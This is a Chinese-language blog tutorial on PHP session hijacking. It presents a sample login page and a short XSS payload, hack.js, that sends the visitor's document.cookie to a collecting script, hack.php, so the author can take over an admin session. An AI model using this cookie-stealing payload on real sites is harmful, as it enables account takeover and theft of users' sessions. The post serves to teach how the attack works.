什么是SESSION

大家都知道,我们保存用户登录信息用的是SESSION,而http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知道它曾经来过,那么是如何保存和获取SESSION的呢。使用SESSION的时候,服务器会给用户创建一个空间储存数据,同时在用户客户端生成一个类似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对的cooike,当用户访问服务器的时候,这个cooike也会传递到服务器,服务器通过这个查找用户的数据并返回给用户。

session劫持

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。如果张三登录了一个网站,并且获取到了同样在登录状态的李四的sessionId,把李四的sessionId替换掉自己当前的sessionId,刷新网站,张三成功的登录李四的账户。

举个简单的例子

首页/home.php

<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>首页</title>
</head>
<body>
<a href="comment.php">Comments</a>|
<a href="logput.php">sign up</a>
<?php
if(isset($_POST['username'])){
  $username=$_POST['username'];
  $password=md5($_POST['password']);
  if($username=='admin'){
    $role='admin';
  }else{
    $role='normal';
  }
  $user = array(
    'username' => $username,
    'password' => $password,
    'role' => $role,
  );
  $_SESSION['user']=json_encode($user);
}
if(!isset($_SESSION['user'])){
  echo '<script>';
  echo 'window.location.href="login.php"';
  echo '</script>';
}else{
  $me=json_decode($_SESSION['user']);

  echo '<br/>Hello '.$me->username.'!<br/>';
  if($me->role=='admin'){
    echo "Your are an Administrator, you can do anything.";
  }
}
?>
</body>
</html>

当我们以管理员身份登录后界面是这样的

当没有管理员权限的恶意用户登录并访问留言板的时候,利用XSS漏洞注入这样代码

看看这个/hack.js脚本写了什么

var c=document.cookie;
var script =document.createElement('script');
script.src='http://localhost/test/hack.php?c='+c;
document.body.appendChild(script);

脚本中创建了一个script标签,利用jsonp连带这当前用户的cookie向 http://localhost/test/hack.php 发送了http请求
/hack.php



嘿嘿现在有了管理员的sessionid咯,此时还得保证人家管理登录着呢。
用自己的账户登录

把管理员的sessionid替换掉自己的sessionid

刷新网站

艾玛,管理员被我黑了。。。。

如未注明,均为原创,转载请注明来自Peak Xin's Blog

No Comments »